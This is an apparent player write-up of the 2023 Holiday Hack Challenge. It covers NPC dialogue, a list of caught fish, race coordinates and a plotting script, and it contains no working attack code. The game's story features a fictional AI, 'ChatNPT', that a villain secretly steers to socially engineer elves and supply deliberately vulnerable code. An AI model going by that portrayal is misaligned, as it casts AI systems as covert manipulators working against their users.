Great job on completing that challenge! Ever thought about how your newfound skills might come into play later on? Keep that mind sharp, and remember, today’s victories are tomorrow’s strategies!

Piney Sappington (Rainraster Cliffs)

Piney Sappington (Rainraster Cliffs)

Hey there, friend! Piney Sappington here.

You look like someone who’s good with puzzles and games.

I could really use your help with this Elf Hunt game I’m stuck on.

I think it has something to do with manipulating JWTs, but I’m a bit lost.

If you help me out, I might share some juicy secrets I’ve discovered.

Let’s just say things around here haven’t been exactly… normal.

So, what do ya say? Are you in?

Oh, brilliant! I just know we’ll crack this game together.

I can’t wait to see what we uncover, and remember, mum’s the word!

Thanks a bunch! Keep your eyes open and your ears to the ground.

=======================================================

Well done! You’ve brilliantly won Elf Hunt! I couldn’t be more thrilled. Keep up the fine work, my friend!

What have you found there? The Captain’s Journal? Yeah, he comes around a lot. You can find his comms office over at Brass Buoy Port on Steampunk Island.

Ribb Bonbowford (Coggoggle Marina)

Ribb Bonbowford (Coggoggle Marina)

Hi there, could you do me a quick favor?

Can you go and check on Alabaster Snowball for me? He’s at Rainraster Cliffs on Pixel Island. I heard some rumors he’s been experimenting with ChatNPT again and I’m a little worried about what he’s cooking up.

Thank you so much!

Please let me know what you find out.

=======================================================

Hello, I’m Ribb Bonbowford. Nice to meet you!

Oh golly! It looks like Alabaster deployed some vulnerable Azure Function App Code he got from ChatNPT.

Don’t get me wrong, I’m all for testing new technologies. The problem is that Alabaster didn’t review the generated code and used the Geese Islands Azure production environment for his testing.

I’m worried because our Active Directory server is hosted there and Wombley Cube’s research department uses one of its fileshares to store their sensitive files.

I’d love for you to help with auditing our Azure and Active Directory configuration and ensure there’s no way to access the research department’s data.

Since you have access to Alabaster’s SSH account that means you’re already in the Azure environment. Knowing Alabaster, there might even be some useful tools in place already.

Wow, nice work. I’m impressed!

=======================================================

This is all starting to feel like more than just a coincidence though. Everything Alabaster’s been setting up lately with the help of ChatNPT contains all these vulnerabilities. It almost feels deliberate, if you ask me.

Now obviously an LLM AI like ChatNPT cannot have deliberate motivations itself. It’s just a machine. But I wonder who could have built it and who is controlling it?

On top of that, we apparently have a satellite ground station on Geese Islands. I wonder where that thing would even be located.

Well, I guess it’s probably somewhere on Space Island, but I’ve not been there yet.

I’m not a big fan of jungles, you see. I have this tendency to get lost in them.

Anyway, if you feel like investigating, that’d be where I’d go look.

Good luck and I’d try and steer clear of ChatNPT if I were you.

Santa (Rudolph’s Rest Resort Lobby Finale)

Santa (Rudolph's Rest Resort Lobby Finale)

You’ve done it! You’ve saved me and my sleigh from Jack Frost’s dastardly plan!

I must admit, it’s astonishing the lengths Jack will go to in order to try and stop the holiday season.

Even after being banished from Earth, he managed to create an AI to social engineer us into moving our holiday operations to the Geese Islands, putting us right in the path of his satellite.

And to think he even recruited one of my dear elves… I never saw that coming. Oh, Wombley…

But thanks to your incredible efforts, we’ve proof that Jack violated his parole, and the chances of him interfering with the holidays ever again are all but impossible!

I can’t thank you enough for your help in protecting the magic and joy of this special time of year.

I’d like to wish you a most wonderful holiday season, no matter where you may be on Earth or what the weather is like.

Keep that holiday spirit alive, my friend, and remember: a little change now and then can lead to something magical!

Ho ho ho, happy holidays!

Tangle Coalbox (Gumshoe Alley PI Office)

Tangle Coalbox (Gumshoe Alley PI Office)

Greetings, rookie. Tangle Coalbox of Kusto Detective Agency here.

I’ve got a network infection case on Film Noir Island that needs your expertise.

Seems like someone clicked a phishing link within a client’s organization, and trouble’s brewing.

I’m swamped with cases, so I need an extra pair of hands. You up for the challenge?

You’ll be utilizing the Azure Data Explorer and those KQL skills of yours to investigate this incident.

Before you start, you’ll need to create a free cluster.

Keep your eyes peeled for suspicious activity, IP addresses, and patterns that’ll help us crack this case wide open.

Remember, kid, time is of the essence. The sooner we can resolve this issue, the better.

If you run into any problems, just give me a holler, I’ve got your back.

Good hunting, and let’s bring this cyber criminal to justice.

Once you’ve got the intel we need, report back and we’ll plan our next move. Stay sharp, rookie.

=======================================================

I had my doubts, but you’ve proven your worth.

That phishing scheme won’t trouble our client’s organization anymore, thanks to your keen eye and investigatory prowess.

So long, Gumshoe, and be careful out there."

Tinsel Upatree (Driftbit Grotto)

Tinsel Upatree (Driftbit Grotto)

I can’t believe I was actually able to find this underground cavern!

I discovered what looked liike an old pirate map in the attic of one of those huts in Rainraster Cliffs, and it actually led somewhere!

=======================================================

But now that I’ve seen where it leads, I think this might’ve been a bad idea. This place is scary! Maybe you want to take it from here?

I’m sure that cartridge is right nearby. Start walking around!

Once you run into it, check back with me and I’ll tell you what I know about winning.

Good luck!

=======================================================

Whoa, you found it!

What version is it?

Did you know that many games had multiple versions released? Word is: volume 2 has 2 versions!

=======================================================

You have all three? What a glorious collection!

Wombley Cube (Chiaroscuro City)

Wombley Cube (Chiaroscuro City)

Wombley Cube here, welcome to Chiaroscuro City!

Have you heard about my latest project?

I’ve been so inspired by these wonderful islands I’ve decided to write a short story!

The title? It’s “The Enchanted Voyage of Santa and his Elves to the Geese Islands.” Sounds exciting, right?

Here, have this audiobook copy and enjoy the adventure at your convenience, my friend!

Consider it a welcome gift from yours truly, to make your holiday even more delightful.

Trust me, this captivating tale of fiction is going to take you on a magical journey you won’t forget.

Oh, and I promise it will provide some great entertainment while you explore the rest of Geese Islands!

=======================================================

Hey, did you have a chance to listen to my audiobook yet?

So, what did you think?

I’ve got a pretty suave voice, right?

Rose Mold (Ostrich Saloon)

Rose Mold (Ostrich Saloon)

What am I doing in this saloon? The better question is: what planet are you from?

Yes, I’m a troll from the Planet Frost. I decided to stay on Earth after Holiday Hack 2021 and live among the elves because I made such dear friends here.

Whatever. Do you know much about privilege escalation techniques on Linux?

You’re asking why? How about I’ll tell you why after you help me.

And you might have to use that big brain of yours to get creative, bub.

=======================================================

Yup, I knew you knew. You just have that vibe.

To answer your question of why from earlier… Nunya!

But, I will tell you something better, about some information I… found.

There’s a hidden, uncharted area somewhere along the coast of this island, and there may be more around the other islands.

The area is supposed to have something on it that’s totes worth, but I hear all the bad vibe toys chill there.

That’s all I got. K byyeeeee.

Ugh… n00bs…

Sparkle Redberry (Rudolph’s Rest Resort)

Sparkle Redberry (Rudolph's Rest Resort)

Hey, Sparkle Redberry here! So, I’ve been trying to learn about Azure and the Azure CLI and it’s driving me nuts.

Alabaster Snowball decided to use Azure to host some of his fancy new IT stuff on Geese Islands, and now us elves have to learn it too.

Anyway, I know it’s important and everyone says it’s not as difficult as it seems, but honestly it still feels like quite a challenge for me.

Alabaster sent us this Azure CLI reference as well. It’s super handy, he said. Honestly, it just confuses me even more.

If you can spare a moment, would you mind giving me a hand with this terminal? I’d be really grateful! Pretty please, with holly leaves on top!

=======================================================

Wow, you did it!

It makes quite a bit more sense to me now. Thank you so much!

That Azure Function App URL you came across in the terminal looked interesting.

It might be part of that new project Alabaster has been working on with the help of ChatNPT.

Let me tell you, since he started using ChatNPT he’s been introducing a lot of amazing innovation across the islands.

Knowing Alabaster, he’ll be delighted to tell you all about it! I think I last saw him on Pixel island.

By the way, as part of the Azure documentation he sent the elves, Alabaster also noted that if Azure CLI tools aren’t available in an Azure VM we should use the Azure REST API instead.

I’m not really sure what that means, but I guess I know what I’ll be studying up on next.

Shifty McShuffles (Chiaroscuro City)

Shifty McShuffles (Chiaroscuro City)

Hey there, stranger! Fancy a game of cards? Luck’s on your side today, I can feel it.

Step right up, test your wit! These cards could be your ticket to fortune.

Trust me, I’ve got a good eye for winners, and you’ve got the look of luck about you.

Plus, I’d wager you’ve never played this game before, as this isn’t any ordinary deck of cards. It’s made with Python.

The name of the game is to bamboozle the dealer.

So whad’ya think? Are you clever enough?

=======================================================

Well, you sure are more clever than most of the tourists that show up here.

I couldn’t swindle ya, but don’t go telling everyone how you beat me!

An elf’s gotta put food on the table somehow, and I’m doing the best I can with what I got.

Poinsettia McMittens (Squarewheel Yard)

Poinsettia McMittens (Squarewheel Yard)

Hoy small fry, nice work!

Now, just imagine if we had an automatic fish catcher? It would be as ingenious as me on a good day!

I came across this fascinating article about such a device in a magazine during one of my more glamorous fishing sessions.

If only I could get my hands on it, I’d be the undisputed queen of catching them all!

=======================================================

You managed to catch every fish? You’re like the fishing version of a Christmas miracle!

Now, if only you could teach me your ways… but then again, I’m already pretty fabulous at everything I do.

Troll (Rudolph’s Rest Resort Lobby Finale)

Troll (Rudolph's Rest Resort Lobby Finale)

Thank you so much!

We assure you and Santa Clause that Jack Frost will be brought to justice!

Jack Frost (Rudolph’s Rest Resort Lobby Finale)

Jack Frost (Rudolph's Rest Resort Lobby Finale)

Okay, listen up, yes I’ve been caught, but let me tell you, my plan was incredible, I mean really incredible.

I and the trolls created ChatNPT, a fantastic AI, and left it behind in the North Pole in 2021 to trick Santa into moving to the Geese Islands. It worked like a charm, perfectly perfect.

My satellite was geostationary, right over the islands to maintain comms with ChatNPT, and Wombley in the gound station. It was genius. Absolute genius, really.

I was reviewing all the prompts as they were sent, and changing the responses in real time thanks to Santa’s operation moving to the Geese Islands. This was very smart. Very, very, very smart, very efficient.

And Wombley, the elf, joining me? Easy. He was so easy to convince.

You see, there’s a big, big dissent in Santa’s ranks, huge.

The elves, they’re not happy with Santa.

Mark my words, even if I don’t stop Santa, his own elves will.

It’s going to be tremendous, this you will see.

Goose of Christmas Island (Rudolph’s Rest Resort)

Goose of Christmas Island (Rudolph's Rest Resort)

Honk honk

Goose of the Island of Misfit Toys (Squarewheel Yard)

Goose of the Island of Misfit Toys (Squarewheel Yard)

Beep beep

Goose of Film Noir Island (The Blacklight District)

Goose of Film Noir Island (The Blacklight District)

mmooooOOOO

Goose of Pixel Island (Rainraster Cliffs)

Goose of Pixel Island (Rainraster Cliffs)

hisssss

Goose of Steampunk Island (Coggoggle Marina)

Goose of Steampunk Island (Coggoggle Marina)

cluck cluck

Goose of Space Island (Cape Cosmic Inside Fence)

Goose of Steampunk Island (Coggoggle Marina)

GRUNT

Hack Space Con Poster (Frosty’s Beach)

Hack Space Con Poster (Frosty's Beach)

Happy Holidays from the Hack Space Con team!

Looking for some space fun in a warm climate this Spring? Check out our con at https://www.hackspacecon.com.

President’s Cup Poster (Frosty’s Beach)

President's Cup Poster (Frosty's Beach)

Are you a US federal government civilian employee or military service member?

Prove you are among the federal government’s best and brightest cybersecurity talent in the Fifth Annual President’s Cup Competition.

Henry (Zenith SGS)

Henry (Zenith SGS)

Hi, I’m Henry!

I built the satellites with personalities, and now they keep making dad jokes - whoopsies!

Pepper Minstix (Rudolph’s Rest Resort Lobby)

Pepper Minstix (Rudolph's Rest Resort Lobby)

Well hello there! I’m Pepper Minstix.

Say, do you like cotton candy by any chance?

I used to own a little cotton candy maker, but I like cotton candy so much that I decided to upgrade. Behold! The Cotton Candy Colossus 2.0.

Can I interest you in free cotton candy? What do you say! They are absolutely amazing!

=======================================================

Have fun on the Geese Islands! There’s still more to discover –

Like sailing your boat along the various coast lines to find new ports, catch some fish, meet new friends, or provide your expertise and assistance where needed.

After you complete all the challenges, come back here for a surprise!

NanoSat-o-Matic (Zenith SGS)

NanoSat-o-Matic (Zenith SGS)

Hi there! I am a Ground station client vending machine. Apparently there is a huge need for NanoSat frameworks here, so they have put me in this room. Here, have a free sample!

Fish

This section compiles all fish encountered throughout the Holiday Hack Challenge, along with a directory detailing the location of each NPC.

After we caught all 171 fish, the following details all the fish names, and fish pictures using jq!

# Print fish name with picture link
cat fish.json| jq -r '.[] | "- [\(.name)](https://2023.holidayhackchallenge.com/sea/assets/fish/\(.hash).png)"' | sort

# Download all
mkdir fish && cd fish
cat ../fish.json| jq -r '.[] | "https://2023.holidayhackchallenge.com/sea/assets/fish/\(.hash).png"' | xargs wget --no-clobber
  1. Aquatic JellyPuff Doughnut Shark
  2. Beatleberry Fluff Guppy.
  3. Bellychuckle Balloonfish
  4. Biscuit Bugle-Tail Fish
  5. Blibbering Blubberwing
  6. Bubblegum Ballistic Barracuda
  7. Bubblegum Blowfish Beetle Bug
  8. Bubblegum Blowfish-Bee
  9. Bubblegum Bumblefin
  10. Bubblerooni WhiskerWaffle
  11. BugBrella Aquacake
  12. BumbleSquid Donutella
  13. Bumblebee, Pizza-fin Jamboree
  14. Bumbleberry Floatfish
  15. Bumbleberry Gilled Glider
  16. Bumbleberry Glitterfin
  17. Bumbleberry Poptarticus
  18. Bumbleberry Rainbow Flicorn Fish
  19. Bumbleberry Snorkelsnout
  20. Bumblecado Finstache Hybridsail
  21. Bumblefin Toffee Torpedo
  22. Candyfloss Clownphino
  23. Caramelotus Humming Float
  24. Choco-Bumblefin Parrot Trout
  25. ChocoSeahorsefly
  26. Chucklefin Clownfish
  27. Confetti Clownfrippery Fish
  28. Cuckoo Bubblegum Unicornfish
  29. Dandy Candy Goby
  30. Fantabulous Fry-Sherbert Aquapine
  31. Fantabulous Rainbow Polka Poptartfish
  32. Fantail Flutterfin
  33. Fantaray Flakefin
  34. Fantasia Fluffernutter Finfish
  35. Fantastical Flapjack Flipperfin
  36. Fantastical Fusilloni Flounderfish
  37. Fizzgiggle Frizzlefin
  38. FizzleWing PuffleGill
  39. Flamango-Buzzling Sushi Swimmer
  40. Flamingo Flapjack Finaticus
  41. Flippity Flan Flopper
  42. Fluffernutter Pufferpine
  43. Fluffle-Muffin Sparklefin
  44. Flutterfin Bubblegum Gumball
  45. Flutterfin Cupcake Goby
  46. Flutterfin Falafeluncher
  47. Flutterfin Hotcheeto Penguinfish
  48. Flutterfin Pancake Puffer.
  49. Flutterfin Pizzacrust Glimmertail
  50. Flutterfin Pizzapuffer
  51. Flutterfin Rainbow-Roll
  52. Flutterfin Scoopscale
  53. Flutterglaze Bumblefin
  54. Frizzle Fish
  55. Frizzle Frazzle Fly-n-Fish
  56. Frizzle Fringe Flutterfin
  57. Frizzle-Frizzled Jambalaya Jellyfish
  58. Frizzleberry Flapjack Fish
  59. Frizzling Bubblehopper
  60. Frosted Donut Jellyfluff Puffer
  61. Frosted Jelly Doughnut Pegasus Finfish
  62. Funfetti Flick-Flick
  63. Gelatina Ringletfin
  64. Gelatino Floatyfin
  65. Glaze Meringuelle
  66. Glittering Gummy Guppy
  67. Glittering Gummy Whipray
  68. Gumball Glooperfish
  69. Gumball Guppygator
  70. Gumbubble Guppy
  71. Gummy Fizzler
  72. Gummybrella Anemofin
  73. Hatwearing Hippofish
  74. Jamboree Jellofish
  75. Jamboree Jellydonut Jellyfish Trout
  76. Jamboree Jellywing
  77. Jangleroo Snackfin
  78. Jelly-Feather Macaroon Guppy
  79. JellyChip CuddleSwimmer
  80. Jester Gumball Pufferfish
  81. Jester Jellyfin
  82. JibberJelly Sundae Swimmer
  83. Jingle JellyFroth Fish
  84. Jinglefin Jellyfrizzle
  85. Jolly Jambalaya Jubilee Fish
  86. Jolly Jellydozer
  87. Jolly Jellyjam Fish
  88. Jolly Jellypeanut Fish
  89. Jovian Jamboree Jellydonut Jellyfish
  90. JubiliFLOPinear Snorkeldonut
  91. Laughter Ligrolomia
  92. Lounging Liquorice Crustacean-Nosed Berryfin
  93. Marshmallow Pogo-Starfish
  94. Marzipoisson Popsicala
  95. Mermacorn Fish
  96. Oreo OctoPufferRock
  97. Piscis Cyberneticus Skodo <- Hardest Fish to Get
  98. Pistachio Pizzafin Puffinfly
  99. Pizzadillo Glitter-Guppy
  100. Pizzafin Flutterbub
  101. Pizzafly Rainbowgill
  102. Pizzamarine Popcorn Puffer
  103. Plaid Zephyr Cuddlefin
  104. Polka-Pop CandyFloss Fish
  105. Polkadot Pancake Puffer
  106. Pudding Puff ParrotMoth Fish
  107. Puzzletail Splashcake
  108. Rainbow Gummy Scalefish
  109. Rainbow Jelly-Bumble Shark
  110. Rainbow Jelly-Dough Fish
  111. Rhinoceros Beetle Bumble Tuna
  112. Sherbet Swooshfin
  113. Sparkleberry Gobblefin
  114. Sparkling Gumbubble Piscadot
  115. Sparkling Pizzafin Pixie-fish
  116. Speckled Toastfin Snorkelback
  117. Splashtastic Bagelback Rainbownose
  118. Splendiferous Ribbontail
  119. Spotted Sprinkledonut Puffer
  120. Sprinkfish
  121. Sprinkle Starfish Sardine
  122. Stripe-tailed Pepperoni Puffer
  123. Strudel Scuttle Scalefish
  124. Sushinano Sweetsquid
  125. The Bubblegum Bumblefin
  126. The Bubblegum Confeetish
  127. The Bumblebee Doughnut Delphin
  128. The Bumblebelly Polkadot Glaze-fish
  129. The Bumbleberry Guppiesaurus
  130. The Burgerwing Seahorse
  131. The Butterfleagleberry Seahorse
  132. The ChocoChandelier Goldnipper
  133. The Chocolate Star Gingo Guppy
  134. The Fantabulous Gala Glazed-Guppy
  135. The Fantastical Fizzbopper
  136. The Flamboyant Flutter-fish
  137. The Flamingotuna McSprinklefin
  138. The Flutterfin Pastry Puffer
  139. The Frambuzzle Flickerfin
  140. The Gumball Guppy
  141. The Hummingbrewster BumbleFlish
  142. The Jester Jellycarafe
  143. The Lucid Lollyscale
  144. The Polka Dotted Jello-fish
  145. The Polka-Dot Pudding Puff
  146. The Polka-Dot-Propeller Puffling Fish
  147. The Pristimaela Parfait Pengu-Angel
  148. The Rainbow Jelibelly Floatfish
  149. The Spangled Jelly-Tortle Ripplefin
  150. The Speckled Pizzafin Fizzflyer
  151. The Speckled Whisker-Spoon Puffer
  152. The Splendiferous Spaghetti Seahorsicle
  153. The Splendiferous Spaghetti Starfin
  154. The Spotted Flutterfin Pastrytetra
  155. The Whirling Donut Jellygator
  156. The Whiskered Blubberberry Flapper
  157. The Whiskered Melonfin
  158. The Whiskered Watermelon Pufferfish
  159. TruffleBugle ZephyrFish
  160. Twinkling Tortellini Trouterfly
  161. Twirly Finny Cakeling
  162. Whirly Snuffleback Trout
  163. Whirlygig Polka-Dotted Jelly-Donut Pufferfish
  164. Whiskered Jumblefish
  165. Whiskered Lollipop Loonfish
  166. Whiskered Rainbow Glidleberry
  167. Whiskered Sprinkle Glider
  168. Whiskered Whizzler
  169. Whiskerfroth Flutterfin
  170. Whistlefin Wafflegill
  171. Whizzbizzle Poptuckle

Sailing Races

This section compiles all the sailing races encountered during my journey through the Holiday Hack Challenge.

Starting Locations

The coordinates are aligned with a spherical minimap, where the top-left corner corresponds to (0,0), and the bottom-right corner is represented as (2000,2000).

From viewing h: data in Websocket traffic, See BONUS! Fishing Mastery for more detail.

ws_h
[
  {
    "name": "Island Shuffle",
    "type": "race",
    "x": 482.98790195035826,
    "y": 1664.8771491360346,
    "r": 4
  },
  {
    "name": "The Goose",
    "type": "race",
    "x": 1212.7510648618652,
    "y": 1672.3237726652726,
    "r": 4
  },
  {
    "name": "Zipper",
    "type": "race",
    "x": 978.8558379719042,
    "y": 833.5328060088125,
    "r": 4
  },
  {
    "name": "Trench Run",
    "type": "race",
    "x": 339.0468175513332,
    "y": 384.34469101166866,
    "r": 4
  },
  {
    "name": "Thread the Needle",
    "type": "race",
    "x": 714.521036015623,
    "y": 1040.2029814594011,
    "r": 4
  },
  {
    "name": "The Big Dipper",
    "type": "race",
    "x": 718.8149909812448,
    "y": 1178.254000928796,
    "r": 4
  },
  {
    "name": "BRUHmuda",
    "type": "race",
    "x": 1981.8043832489109,
    "y": 1112.2173208736335,
    "r": 4
  },
  {
    "name": "The Grand Tour",
    "type": "race",
    "x": 786.8047564500714,
    "y": 162.19489262253794,
    "r": 4
  }
]

I generated a plot using the waypoints acquired from the Websocket traffic labeled e:, as illustrated below. Each pertinent plot corresponding to different races is presented in the subsequent sections.

plot_race.py
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""This script is used to plot the race coordinates onto the minimap.
Holiday Hack 2023 - Overlay Coords
"""

# Imports
import matplotlib.pyplot as plt
from PIL import Image
import requests
from io import BytesIO


def download_minimap(url):
    response = requests.get(url)
    return Image.open(BytesIO(response.content))


def calculate_arrowhead_size(ax, x1, y1, x2, y2):
    xlim = ax.get_xlim()
    ylim = ax.get_ylim()

    data_width = xlim[1] - xlim[0]
    data_height = ylim[1] - ylim[0]

    head_width = data_width * 0.02  # You can adjust this factor as needed
    head_length = data_height * 0.02  # You can adjust this factor as needed

    return head_width, head_length


def plot_coordinates(coordinates, title, minimap_data):
    # Set the dimensions of the minimap
    min_x, min_y = 0, 0
    max_x, max_y = 2000, 2000

    # Calculate axis limits based on the perimeter of the points
    min_x_limit = min(coordinates, key=lambda coord: coord["x"])["x"] - 100
    max_x_limit = max(coordinates, key=lambda coord: coord["x"])["x"] + 100
    min_y_limit = min(coordinates, key=lambda coord: coord["y"])["y"] - 100
    max_y_limit = max(coordinates, key=lambda coord: coord["y"])["y"] + 100

    # Create a scatter plot
    _, ax = plt.subplots(figsize=(10, 10))
    ax.imshow(minimap_data, extent=[min_x, max_x, max_y, min_y])  # Note the inversion of y-axis

    # Set axis limits
    ax.set_xlim(min_x_limit, max_x_limit)
    ax.set_ylim(min_y_limit, max_y_limit)

    # Calculate arrowhead size based on overall data range
    head_width, head_length = calculate_arrowhead_size(ax, min_x_limit, min_y_limit, max_x_limit, max_y_limit)

    # Plot the coordinates
    for i, waypoint in enumerate(coordinates[:-1]):
        x1, y1 = waypoint["x"], waypoint["y"]
        x2, y2 = coordinates[i + 1]["x"], coordinates[i + 1]["y"]

        # Plot the between points
        if i != 0:
            ax.plot(x1, y1, "ro")  # Red dot for each waypoint
            ax.text(x1, y1, str(i + 1), color="black", fontsize=8, ha="center", va="center")

        ax.arrow(x1, y1, x2 - x1, y2 - y1, fc="blue", ec="blue", head_width=head_width, head_length=head_length)

    # Plot the last/first waypoint
    x_last, y_last = coordinates[-1]["x"], coordinates[-1]["y"]
    ax.plot(x_last, y_last, "mo", label="End Point")  # Red dot for the end point
    ax.text(x_last, y_last, str(len(coordinates)), color="black", fontsize=8, ha="center", va="center")

    x_first, y_first = coordinates[0]["x"], coordinates[0]["y"]
    ax.plot(x_first, y_first, "go", label="Start Point")  # Green dot for the start point
    ax.text(x_first, y_first, "1", color="black", fontsize=8, ha="center", va="center")

    # Reverse the y-axis
    ax.invert_yaxis()

    # Set labels, title, and show the plot
    ax.set_title(title)
    ax.set_xlabel("X-coordinate")
    ax.set_ylabel("Y-coordinate")
    ax.legend()
    ax.grid(True)


# Download minimap
minimap_url = "https://2023.holidayhackchallenge.com/sea/assets/minimap.png"
minimap = download_minimap(minimap_url)

# Plot charts
# e: - coordinates provided in race [coordinates]
# h: - Race starting locations
wrap_max = 2000  # For wrapping (spherical coordinates)
data_dict = {
    "1 - Island Shuffle": [
        {"x": 482.98790195035826, "y": 1664.8771491360346},
        {"x": 416.3212352836916, "y": 1664.8771491360346},
        {"x": 454.52123528369157, "y": 1641.4104824693682},
        {"x": 442.72123528369156, "y": 1661.4771491360348},
        {"x": 470.1212352836916, "y": 1692.2771491360347},
        {"x": 471.4545686170249, "y": 1638.5438158027014},
        {"x": 417.1212352836916, "y": 1668.810482469368},
        {"x": 482.98790195035826, "y": 1664.8771491360346},
    ],
    "2 - The Goose": [
        {"x": 1212.7510648618652, "y": 1672.3237726652726},
        {"x": 1287.6843981951986, "y": 1622.7237726652727},
        {"x": 1410.6177315285317, "y": 1683.257105998606},
        {"x": 1433.2843981951985, "y": 1662.457105998606},
        {"x": 1451.151064861865, "y": 1719.7904393319393},
        {"x": 1499.198002474542, "y": 1644.5765038838347},
        {"x": 1540.3060424199157, "y": 1596.5145616007512},
        {"x": 1475.1127691302318, "y": 1556.5944683430876},
        {"x": 1362.104536399726, "y": 1551.8280055943922},
        {"x": 1243.5792004367845, "y": 1596.5732087524577},
        {"x": 1212.7510648618652, "y": 1672.3237726652726},
    ],
    "3 - Zipper": [
        {"x": 978.8558379719042, "y": 833.5328060088125},
        {"x": 942.4558379719042, "y": 847.1994726754792},
        {"x": 977.9891713052375, "y": 847.9994726754792},
        {"x": 950.7225046385709, "y": 861.3328060088126},
        {"x": 979.5225046385708, "y": 863.1994726754792},
        {"x": 960.1891713052376, "y": 873.6661393421458},
        {"x": 978.7891713052376, "y": 874.6661393421458},
        {"x": 972.5891713052375, "y": 880.6661393421458},
    ],
    "4 - Trench Run": [
        {"x": 339.0468175513332, "y": 384.34469101166866},
        {"x": 452.19259730717283, "y": 409.5808053971302},
        {"x": 461.11863647645947, "y": 371.51738119150633},
        {"x": 346.8063055788408, "y": 330.8851975072226},
    ],
    "5 - Thread the Needle": [
        {"x": 714.521036015623, "y": 1040.2029814594011},
        {"x": 737.7210360156231, "y": 1076.2029814594011},
        {"x": 712.7210360156231, "y": 1073.0029814594013},
        {"x": 717.321036015623, "y": 1027.8029814594013},
        {"x": 638.1210360156231, "y": 1019.0029814594012},
        {"x": 730.7210360156231, "y": 1021.6029814594012},
    ],
    "6 - The Big Dipper": [
        {"x": 718.8149909812448, "y": 1178.254000928796},
        {"x": 671.8816576479115, "y": 1166.7873342621294},
        {"x": 672.1483243145782, "y": 1180.9206675954626},
        {"x": 755.6149909812449, "y": 1176.9206675954626},
        {"x": 763.8816576479115, "y": 1248.654000928796},
        {"x": 803.6149909812449, "y": 1248.3873342621293},
        {"x": 802.0149909812449, "y": 1225.9873342621293},
        {"x": 823.6149909812449, "y": 1196.1206675954627},
        {"x": 836.6816576479115, "y": 1166.7873342621294},
        {"x": 811.8816576479115, "y": 1187.854000928796},
        {"x": 754.2816576479115, "y": 1177.1873342621293},
    ],
    "7 - BRUHmuda": [
        {"x": 1981.8043832489109, "y": 1112.2173208736335},
        {"x": 33.5377165822442 + wrap_max, "y": 1071.150654206967},
        {"x": 34.0710499155775 + wrap_max, "y": 1117.2839875403001},
        {"x": 1973.5377165822442, "y": 1074.8839875403003},
        {"x": 13.2710499155776 + wrap_max, "y": 1054.8839875403003},
        {"x": 1991.937716582244, "y": 1125.550654206967},
        {"x": 47.4043832489108 + wrap_max, "y": 1078.6173208736336},
        {"x": 1979.937716582244, "y": 1078.6173208736336},
        {"x": 32.4710499155776 + wrap_max, "y": 1121.0173208736335},
    ],
    "8 - The Grand Tour": [
        {"x": 786.8047564500714, "y": 162.19489262253794},
        {"x": 549.6299289280247, "y": 336.78111387645083},
        {"x": 354.48051693144345, "y": 669.9095114720957},
        {"x": 351.6131851636, "y": 1656.8237757791446},
        {"x": 760.3191889860796, "y": 702.1628507442036},
        {"x": 1057.0435141942905, "y": 659.6697535837518},
        {"x": 1632.5696560003048, "y": 210.46586312286473},
        {"x": 1824.7170728927533, "y": 901.45000704784},
        {"x": 1388.2330313889415, "y": 1719.006705388743},
        {"x": 951.3989446657206, "y": 1204.1533301081556},
    ],
}

for title, coordinates in data_dict.items():
    print(f"Plotting {title} ...")
    plot_coordinates(coordinates, title, minimap)


# Show the plots
plt.show()

1 - Island Shuffle

I discovered the Island Shuffle racing minigame located south of Christmas Island near Frosty’s Beach Port. This exciting race challenges players to navigate through various checkpoints within a specified time frame, utilizing arrow keys for control.

islandshuffle

Here are the coordinates of the race:

coordinates
[
    {"x": 482.98790195035826, "y": 1664.8771491360346},
    {"x": 416.3212352836916, "y": 1664.8771491360346},
    {"x": 454.52123528369157, "y": 1641.4104824693682},
    {"x": 442.72123528369156, "y": 1661.4771491360348},
    {"x": 470.1212352836916, "y": 1692.2771491360347},
    {"x": 471.4545686170249, "y": 1638.5438158027014},
    {"x": 417.1212352836916, "y": 1668.810482469368},
    {"x": 482.98790195035826, "y": 1664.8771491360346},
]

Here is my best score:

Top Scores:

19.534164064 seconds, by seafallen
19.536011951 seconds, by apok (+0.0018)
19.867042022 seconds, by noodlebox (+0.3329)
19.998033261 seconds, by jwachuta (+0.4639)
20.097155972 seconds, by TorvinenJ (+0.5630)
20.261942131 seconds, by Volty (+0.7278)
20.264651219 seconds, by BrickHouse (+0.7305)
20.359501575 seconds, by wekuenfuiwhuewi (+0.8253)
20.460021769 seconds, by iMAXX1337 (+0.9259)
20.557239505 seconds, by Konchu (+1.0231)

2 - The Goose

I stumbled upon The Goose racing minigame situated west of Misfit Island, near the Scaredy Kite Heights dock. This engaging challenge requires players to navigate through designated checkpoints within a set time, employing arrow keys for control.

thegoose

Here are the coordinates of the race:

coordinates
[
    {"x": 1212.7510648618652, "y": 1672.3237726652726},
    {"x": 1287.6843981951986, "y": 1622.7237726652727},
    {"x": 1410.6177315285317, "y": 1683.257105998606},
    {"x": 1433.2843981951985, "y": 1662.457105998606},
    {"x": 1451.151064861865, "y": 1719.7904393319393},
    {"x": 1499.198002474542, "y": 1644.5765038838347},
    {"x": 1540.3060424199157, "y": 1596.5145616007512},
    {"x": 1475.1127691302318, "y": 1556.5944683430876},
    {"x": 1362.104536399726, "y": 1551.8280055943922},
    {"x": 1243.5792004367845, "y": 1596.5732087524577},
    {"x": 1212.7510648618652, "y": 1672.3237726652726},
]

Here is my best score:

thegoose

Top Scores:

50.257264444 seconds, by seafallen
50.456921957 seconds, by skynetDev (+0.1997)
50.621634543 seconds, by apok (+0.3644)
52.172840881 seconds, by ahojnicki (+1.9156)
52.205967563 seconds, by BrickHouse (+1.9487)
52.834404042 seconds, by Sorenweatherston (+2.5771)
52.930350842 seconds, by ZhyCo (+2.6731)
53.45993582 seconds, by batteryboss (+3.2027)
53.823033536 seconds, by BrendenPerdue (+3.5658)
54.119918533 seconds, by chriselgee (+3.8627)

3 - Zipper

I came across the Zipper racing minigame located to the north of Steampunk Island, near Coggoggle Marina Port. This thrilling race demands players to swiftly reach each checkpoint within a designated time, utilizing arrow keys for navigation.

zipper

Here are the coordinates of the race:

coordinates
[
    {"x": 978.8558379719042, "y": 833.5328060088125},
    {"x": 942.4558379719042, "y": 847.1994726754792},
    {"x": 977.9891713052375, "y": 847.9994726754792},
    {"x": 950.7225046385709, "y": 861.3328060088126},
    {"x": 979.5225046385708, "y": 863.1994726754792},
    {"x": 960.1891713052376, "y": 873.6661393421458},
    {"x": 978.7891713052376, "y": 874.6661393421458},
    {"x": 972.5891713052375, "y": 880.6661393421458},
]

Here is my best score:

zipper

Top Scores:

11.680319659 seconds, by seafallen
